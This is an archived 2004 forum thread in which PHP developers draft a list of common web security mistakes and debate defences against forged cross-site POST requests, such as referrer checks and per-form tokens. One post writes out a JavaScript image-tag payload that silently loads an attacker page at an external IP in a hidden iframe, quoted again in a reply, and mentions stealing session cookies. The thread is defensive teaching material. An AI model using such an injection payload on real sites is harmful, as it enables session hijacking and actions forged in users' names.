Top Ten PHP Security Issues, a preliminary list

Collapse
This topic is closed.
X
X
 
  • Time
  • Show
Clear All
new posts
  • Chung Leong

    Top Ten PHP Security Issues, a preliminary list

    There's my draft list of the top ten PHP security issues. As you can see,
    there's only nine right now. I've ranked them based on how readily the
    vulnerability can be exploited. This is the reason why the client-side
    scripting vulnerabilities are listed 2, 3, and 4, while SQL injection is
    listed 7. Listed as number 1 is the arguably the lamest mistake in all
    web-programming: pulling information from the database based on a
    primary-key passed through the URL without any kind of access check. Because
    even someone with no programming knowledge can take advantage of this hole,
    it takes the top spot.

    [drum roll]

    1. Revealing private information without access check
    2. Displaying user-provided text without escaping HTML special
    characters
    3. Allowing users to supply a URL for an image
    4. Processing form data without checking the page referrer
    5. Copying an uploaded file into a web-accessible directory
    6. Using a GET/POST variable as parameter to include/require
    7. Inserting GET/POST variables into SQL statements without validation
    8. Using session_registe r() with sensitive variables
    9. Performing restricted operations in the global scope of an include
    file

    The use of register_global s is not on the list, as the potential problems
    are effectively covered by item 6, 7, 8, and 9 (or so I think).

    I'll write up a more detailed description for each of these, along with
    possible solutions, and post it somewhere on the net. Hopefully it'll be
    interesting reading for beginners to the language. Thanks to all who
    participated in the original thread. Additional comments are definitely
    welcomed.


  • David Mackenzie

    #2
    Re: Top Ten PHP Security Issues, a preliminary list

    On Wed, 11 Feb 2004 22:38:17 -0500, "Chung Leong"
    <chernyshevsky@ hotmail.com> wrote:
    [color=blue]
    >There's my draft list of the top ten PHP security issues. As you can see,
    >there's only nine right now. I've ranked them based on how readily the
    >vulnerabilit y can be exploited. This is the reason why the client-side
    >scripting vulnerabilities are listed 2, 3, and 4, while SQL injection is
    >listed 7. Listed as number 1 is the arguably the lamest mistake in all
    >web-programming: pulling information from the database based on a
    >primary-key passed through the URL without any kind of access check. Because
    >even someone with no programming knowledge can take advantage of this hole,
    >it takes the top spot.
    >
    >[drum roll]
    >
    > 1. Revealing private information without access check
    > 2. Displaying user-provided text without escaping HTML special
    >characters
    > 3. Allowing users to supply a URL for an image
    > 4. Processing form data without checking the page referrer
    > 5. Copying an uploaded file into a web-accessible directory
    > 6. Using a GET/POST variable as parameter to include/require
    > 7. Inserting GET/POST variables into SQL statements without validation
    > 8. Using session_registe r() with sensitive variables
    > 9. Performing restricted operations in the global scope of an include
    >file[/color]

    10. Putting the file that contains your database connection info in a
    web-accessible directory without adequate protection.

    I remember once going to http://www.experts-exchange.com/ . They use
    JSPs and we could read all their code. Their server must have been
    misconfigured. Oops! About an hour later it was back to normal.

    --
    David ( @priz.co.uk )

    Comment

    • Ian.H

      #3
      Re: Top Ten PHP Security Issues, a preliminary list

      On Wed, 11 Feb 2004 22:38:17 -0500, Chung Leong wrote:


      [ snip ]

      [color=blue]
      > 4. Processing form data without checking the page referrer[/color]


      Hmm.. and if someone's "firewall" (we're talking windoze here) blocks /
      changes the referrer as part of it's "user privacy / security setting"?
      Agnitum Outpost for example can block the referrer by replacing it with
      '**BLOCKED BY OUTPOST**' or something.

      I never used that feature on windoze.. but I know that many people do
      judging from my server logs.

      I know you're not suggesting _just_ using the referrer for validation, but
      IMO, the referrer header is next to useless for any consideration. Agreed,
      people are unlikely to want to try and hijack their own account, but they
      may do this as a matter of course (blocking the referrer header) and thus
      the system would fall over for IMO, a "false-positive".


      Just my £0.02 worth =)



      Regards,

      Ian

      --
      Ian.H
      digiServ Network
      London, UK


      Comment

      • Chung Leong

        #4
        Re: Top Ten PHP Security Issues, a preliminary list


        Uzytkownik "Ian.H" <ian@WINDOZEdig iserv.net> napisal w wiadomosci
        news:pan.2004.0 2.12.15.38.57.8 53516@hybris.di giserv.net...[color=blue]
        > Hmm.. and if someone's "firewall" (we're talking windoze here) blocks /
        > changes the referrer as part of it's "user privacy / security setting"?
        > Agnitum Outpost for example can block the referrer by replacing it with
        > '**BLOCKED BY OUTPOST**' or something.[/color]

        Hmmm...Interest ing. I didn't know firewalls does that.
        [color=blue]
        > I know you're not suggesting _just_ using the referrer for validation, but
        > IMO, the referrer header is next to useless for any consideration. Agreed,
        > people are unlikely to want to try and hijack their own account, but they
        > may do this as a matter of course (blocking the referrer header) and thus
        > the system would fall over for IMO, a "false-positive".[/color]

        Well, I don't know how else you can stop the cross-site scripting
        vulnerability in question, because there is no other distinction between a
        legitimate POST request and a malious one originating from a different site
        from the HTTP referrer. We can perhaps work around the firewall/proxy issue
        by rejecting only requests where there is a valid URL and it's not a page on
        the local server.

        Recapping for those who weren't following the original thread, an attack
        works as followed:

        1. At a web forum, an attacker post a URL to a page he controls
        2. Victim logs into web forum
        3. Victim sees link, clicks on it. The browser goes to the attack page
        4. The attack page does a POST to a script at the web forum. The browser
        supplies the cookie containing the PHP session id because it sees that the
        web forum is its creator. The script sees that the victim is logged in and
        happily processes the request. To hide what's going on, the attacker can put
        the page that does the POST in an invisible iframe (meanwhile, the victim
        happily reads what's on the main page). Multiple iframes can be used to
        maximize the damage.

        If item 2 or 3 on the list are present at the site, the attack can be
        launched without the user even clicking the link. The following img tag, for
        example, would open up an invisible iframe automatically within the current
        document:

        <img
        src="javascript :d=document;a=d .createElement( 'IFRAME');a.sty le.display='non e
        ';a.src='http://192.58.221.243/attack.php';d.b ody.appendChild (a);m=d.images;
        for(i=0;i<m.len gth;i++){a=m[i];if(a.src.match (/^javascript/))a.src='http://w
        ww.google.com/images/logo.gif';}">

        In this situation though, it's easier to just steal the cookie (accessible
        via document.cookie ) and hijack the PHP session.


        Comment

        • Jochen Daum

          #5
          Re: Top Ten PHP Security Issues, a preliminary list

          Hi Chung!

          On Thu, 12 Feb 2004 19:10:55 -0500, "Chung Leong"
          <chernyshevsky@ hotmail.com> wrote:
          [color=blue]
          >
          >Uzytkownik "Ian.H" <ian@WINDOZEdig iserv.net> napisal w wiadomosci
          >news:pan.2004. 02.12.15.38.57. 853516@hybris.d igiserv.net...[color=green]
          >> Hmm.. and if someone's "firewall" (we're talking windoze here) blocks /
          >> changes the referrer as part of it's "user privacy / security setting"?
          >> Agnitum Outpost for example can block the referrer by replacing it with
          >> '**BLOCKED BY OUTPOST**' or something.[/color]
          >
          >Hmmm...Interes ting. I didn't know firewalls does that.[/color]

          Norton Internet Security 2001 did it.[color=blue]
          >[color=green]
          >> I know you're not suggesting _just_ using the referrer for validation, but
          >> IMO, the referrer header is next to useless for any consideration. Agreed,
          >> people are unlikely to want to try and hijack their own account, but they
          >> may do this as a matter of course (blocking the referrer header) and thus
          >> the system would fall over for IMO, a "false-positive".[/color]
          >
          >Well, I don't know how else you can stop the cross-site scripting
          >vulnerabilit y in question, because there is no other distinction between a
          >legitimate POST request and a malious one originating from a different site
          >from the HTTP referrer. We can perhaps work around the firewall/proxy issue
          >by rejecting only requests where there is a valid URL and it's not a page on
          >the local server.[/color]

          Hmm. I don't want to rely on REFERERs as well. I would consider a POST
          request as legitimate, if the user is logged in, and not legitimate,
          if it seems to run automatic, eg. tries to POST constantly.

          Other decisions, such as security against SQL injection need to be
          made on content, because people might wanna run a forum about SQL
          injection code. Again, why not require the user to log in.
          [color=blue]
          >Recapping for those who weren't following the original thread, an attack
          >works as followed:
          >
          >1. At a web forum, an attacker post a URL to a page he controls
          >2. Victim logs into web forum
          >3. Victim sees link, clicks on it. The browser goes to the attack page
          >4. The attack page does a POST to a script at the web forum. The browser
          >supplies the cookie containing the PHP session id because it sees that the
          >web forum is its creator. The script sees that the victim is logged in and
          >happily processes the request. To hide what's going on, the attacker can put
          >the page that does the POST in an invisible iframe (meanwhile, the victim
          >happily reads what's on the main page). Multiple iframes can be used to
          >maximize the damage.
          >
          >If item 2 or 3 on the list are present at the site, the attack can be
          >launched without the user even clicking the link. The following img tag, for
          >example, would open up an invisible iframe automatically within the current
          >document:
          >
          ><img
          >src="javascrip t:d=document;a= d.createElement ('IFRAME');a.st yle.display='no ne
          >';a.src='htt p://192.58.221.243/attack.php';d.b ody.appendChild (a);m=d.images;
          >for(i=0;i<m.le ngth;i++){a=m[i];if(a.src.match (/^javascript/))a.src='http://w
          >ww.google.co m/images/logo.gif';}">
          >[/color]

          Ok, I didn't follow closely enough. Interesting setup, but I would
          blame the victim.

          HTH, Jochen
          --
          Jochen Daum - Cabletalk Group Ltd.
          PHP DB Edit Toolkit -- PHP scripts for building
          database editing interfaces.
          Download PHP DB Edit Toolkit for free. PHP DB Edit Toolkit is a set of PHP classes makes the generation of database edit interfaces easier and faster. The main class builds tabular and form views based on a data dictionary and takes over handling of insert/update/delete and user input.

          Comment

          • R. Rajesh Jeba Anbiah

            #6
            Re: Top Ten PHP Security Issues, a preliminary list

            "Chung Leong" <chernyshevsky@ hotmail.com> wrote in message news:<lridnUkTk sXmirHdRVn_iw@c omcast.com>...[color=blue]
            > Uzytkownik "Ian.H" <ian@WINDOZEdig iserv.net> napisal w wiadomosci
            > news:pan.2004.0 2.12.15.38.57.8 53516@hybris.di giserv.net...[color=green]
            > > Hmm.. and if someone's "firewall" (we're talking windoze here) blocks /
            > > changes the referrer as part of it's "user privacy / security setting"?
            > > Agnitum Outpost for example can block the referrer by replacing it with
            > > '**BLOCKED BY OUTPOST**' or something.[/color]
            >
            > Hmmm...Interest ing. I didn't know firewalls does that.[/color]



            <snip>[color=blue]
            > In this situation though, it's easier to just steal the cookie (accessible
            > via document.cookie ) and hijack the PHP session.[/color]

            IMHO, if our login system is secure
            (<http://martin.f2o.org/php/login>), we can avoid the session
            hijacking.

            --
            "Success = 10% sweat + 90% tears"
            If you live in USA, please support John Edwards.
            Email: rrjanbiah-at-Y!com

            Comment

            • Chung Leong

              #7
              Re: Top Ten PHP Security Issues, a preliminary list

              Uzytkownik "R. Rajesh Jeba Anbiah" <ng4rrjanbiah@r ediffmail.com> napisal w
              wiadomosci news:abc4d8b8.0 402130012.77cee c16@posting.goo gle.com...[color=blue]
              > "Chung Leong" <chernyshevsky@ hotmail.com> wrote in message[/color]
              news:<lridnUkTk sXmirHdRVn_iw@c omcast.com>...[color=blue][color=green]
              > > Uzytkownik "Ian.H" <ian@WINDOZEdig iserv.net> napisal w wiadomosci
              > > news:pan.2004.0 2.12.15.38.57.8 53516@hybris.di giserv.net...[/color]
              >
              > IMHO, if our login system is secure
              > (<http://martin.f2o.org/php/login>), we can avoid the session
              > hijacking.[/color]

              Not really, because the hijacking occurs at the client-side. Don't forget
              that at the end of the day, you're still relying on the browser to keep the
              cookie (by extension, your session) safe. If the browser behaves
              promisciously with its cookies--which it is, by making them accessible via
              Javascript--then you have problems.

              For a system to be secured, every part of it must be secured. Yes, we need a
              secured login system, but we also need to protect the browser from malicious
              Javascript.


              Comment

              • Chung Leong

                #8
                Re: Top Ten PHP Security Issues, a preliminary list

                Hi Jochen!

                Uzytkownik "Jochen Daum" <jochen.daum@ca ns.co.nz> napisal w wiadomosci
                news:qd9o20165r 0aopi8buk6j2s2o pvchbdokn@4ax.c om...[color=blue]
                > Other decisions, such as security against SQL injection need to be
                > made on content, because people might wanna run a forum about SQL
                > injection code. Again, why not require the user to log in.[/color]

                The user is logged in. The problem is that the attacker can control his
                browser using Javascript and do nasty things as him.

                I guess a better solution to this problem would be to require the
                accompaniment of an unique id, stored in a hidden, with every POST. The
                receiving script would check the id posted against then one stored in the
                session, and rejects the request if they don't match. That requires fixing
                every form though. Checking the referrer is much easier.


                Comment

                • Alex Farran

                  #9
                  Re: Top Ten PHP Security Issues, a preliminary list

                  Chung Leong writes:
                  [color=blue]
                  > The user is logged in. The problem is that the attacker can control his
                  > browser using Javascript and do nasty things as him.[/color]
                  [color=blue]
                  > I guess a better solution to this problem would be to require the
                  > accompaniment of an unique id, stored in a hidden, with every POST. The
                  > receiving script would check the id posted against then one stored in the
                  > session, and rejects the request if they don't match. That requires fixing
                  > every form though.[/color]

                  That will almost work. What happens when the script, acting as a
                  user, requests a form page and thus receives the hidden number? To
                  close that hole every page must require that the unique number
                  supplied in the previous page is passed to it. External links do not
                  pass the unique number so those sites have no way of accessing your
                  secure pages. I'm pretty sure this would still be secure if you
                  passed the unique number in the query string.

                  The alternative is to vet all external links. It wouldn't be that
                  hard to automate a test.
                  --

                  __o Alex Farran
                  _`\<,_ Analyst / Programmer
                  (_)/ (_) www.alexfarran.com

                  Comment

                  • Chung Leong

                    #10
                    Re: Top Ten PHP Security Issues, a preliminary list


                    Uzytkownik "Alex Farran" <alex@alexfarra n.com> napisal w wiadomosci
                    news:m3ad3lzzei .fsf@alexfarran .com...[color=blue]
                    > That will almost work. What happens when the script, acting as a
                    > user, requests a form page and thus receives the hidden number? To
                    > close that hole every page must require that the unique number
                    > supplied in the previous page is passed to it. External links do not
                    > pass the unique number so those sites have no way of accessing your
                    > secure pages. I'm pretty sure this would still be secure if you
                    > passed the unique number in the query string.[/color]

                    Ok, I see I've been unwisely mixing up two vulnerabilities here. When the
                    attacker is able to inject Javascript into your page, your users are just
                    screwed. Now, let use restrict ourselves to the case where the only thing
                    the attack can do is post an URL (no difference whether it's a hyperlink or
                    text that users have to manually enter into the address box).

                    DOM/Javascript security operates on a simple premise: content on a page at a
                    site is only accessible to scripts originating from the same site. When the
                    user click on a link and go from say www.paradiso.org to www.inferno.com,
                    scripts at www.inferno.com do not have access to any thing--including the
                    hidden number in question--at www.paradiso.org. This is true even if Interno
                    loads Paradiso in an inframe.

                    Both your scheme and mine fall apart if the user opens new windows. The best
                    check is still the page referrer. Does anyone know if firewalls block all
                    referer headers or only absolute ones?

                    What we really need is a special kind of cookie (brownie?) that doesn't get
                    sent if the originating page isn't its creator.
                    [color=blue]
                    > The alternative is to vet all external links. It wouldn't be that
                    > hard to automate a test.
                    > --
                    >
                    > __o Alex Farran
                    > _`\<,_ Analyst / Programmer
                    > (_)/ (_) www.alexfarran.com
                    >[/color]


                    Comment

                    • Alex Farran

                      #11
                      Re: Top Ten PHP Security Issues, a preliminary list

                      Chung Leong writes:
                      [color=blue]
                      > Uzytkownik "Alex Farran" <alex@alexfarra n.com> napisal w wiadomosci
                      > news:m3ad3lzzei .fsf@alexfarran .com...[/color]
                      [color=blue]
                      > DOM/Javascript security operates on a simple premise: content on a page at a
                      > site is only accessible to scripts originating from the same site. When the
                      > user click on a link and go from say www.paradiso.org to www.inferno.com,
                      > scripts at www.inferno.com do not have access to any thing--including the
                      > hidden number in question--at www.paradiso.org. This is true even if Interno
                      > loads Paradiso in an inframe.[/color]

                      You're absolutely right. I'd forgotten that. Your scheme with the
                      unique numbers will work then.
                      [color=blue]
                      > Both your scheme and mine fall apart if the user opens new windows. The best
                      > check is still the page referrer. Does anyone know if firewalls block all
                      > referer headers or only absolute ones?[/color]

                      My scheme will only allow the user to interact with the site through
                      one window, that's true, but yours could be adapted to work with more
                      than one window. Instead of holding just one number in the session,
                      hold an array of all numbers sent. When a form is submitted search
                      for its number in the array, and if it's found accept the form and
                      delete the number from the array. That way every form can be
                      submitted exactly once, and only by person it was presented to.

                      Actually I think my scheme could be adapted similarly, but it would
                      still be restrictive compared to yours.
                      [color=blue]
                      > What we really need is a special kind of cookie (brownie?) that doesn't get
                      > sent if the originating page isn't its creator.[/color]

                      I don't think we do now.

                      --

                      __o Alex Farran
                      _`\<,_ Analyst / Programmer
                      (_)/ (_) www.alexfarran.com

                      Comment

                      • Chung Leong

                        #12
                        Re: Top Ten PHP Security Issues, a preliminary list


                        Uzytkownik "Alex Farran" <alex@alexfarra n.com> napisal w wiadomosci
                        news:m31xoxzgrn .fsf@alexfarran .com...[color=blue]
                        > My scheme will only allow the user to interact with the site through
                        > one window, that's true, but yours could be adapted to work with more
                        > than one window. Instead of holding just one number in the session,
                        > hold an array of all numbers sent. When a form is submitted search
                        > for its number in the array, and if it's found accept the form and
                        > delete the number from the array. That way every form can be
                        > submitted exactly once, and only by person it was presented to.[/color]

                        That should work. If there's only a way to implement that without having to
                        modify every form... All I can think of is appending some JavaScript code at
                        the bottom of the page that inserts the hidden field dynamically. Not very
                        reliable.
                        [color=blue]
                        > --
                        >
                        > __o Alex Farran
                        > _`\<,_ Analyst / Programmer
                        > (_)/ (_) www.alexfarran.com
                        >[/color]


                        Comment

                        • Ian.H

                          #13
                          Re: Top Ten PHP Security Issues, a preliminary list

                          On Thu, 12 Feb 2004 19:10:55 -0500, Chung Leong wrote:
                          [color=blue]
                          >
                          > Uzytkownik "Ian.H" <ian@WINDOZEdig iserv.net> napisal w wiadomosci
                          > news:pan.2004.0 2.12.15.38.57.8 53516@hybris.di giserv.net...[color=green]
                          >> Hmm.. and if someone's "firewall" (we're talking windoze here) blocks /
                          >> changes the referrer as part of it's "user privacy / security setting"?
                          >> Agnitum Outpost for example can block the referrer by replacing it with
                          >> '**BLOCKED BY OUTPOST**' or something.[/color]
                          >
                          > Hmmm...Interest ing. I didn't know firewalls does that.[/color]


                          Seems to be some of the "security suites" for windoze have this feature
                          built in.

                          OTOH, although I haven't actually done it with PHP, I have set a page
                          referrer heading in a console Perl script using LWP. Could easily be made
                          into a "legitimate referrer".. ie: one that's expected by the site.

                          [color=blue]
                          >[color=green]
                          >> I know you're not suggesting _just_ using the referrer for validation,
                          >> but IMO, the referrer header is next to useless for any consideration.
                          >> Agreed, people are unlikely to want to try and hijack their own account,
                          >> but they may do this as a matter of course (blocking the referrer
                          >> header) and thus the system would fall over for IMO, a "false-positive".[/color]
                          >
                          > Well, I don't know how else you can stop the cross-site scripting
                          > vulnerability in question, because there is no other distinction between a
                          > legitimate POST request and a malious one originating from a different
                          > site from the HTTP referrer. We can perhaps work around the firewall/proxy
                          > issue by rejecting only requests where there is a valid URL and it's not a
                          > page on the local server.[/color]


                          [ snip ]


                          I share your thoughts on this.. but with my LWP description above.. the
                          firewall / proxy check wouldn't come into play either, as the referrer
                          would infact be the required one. Definitely an interesting scenario you
                          have outlined in this thread =)



                          Regards,

                          Ian

                          --
                          Ian.H
                          digiServ Network
                          London, UK


                          Comment

                          Working...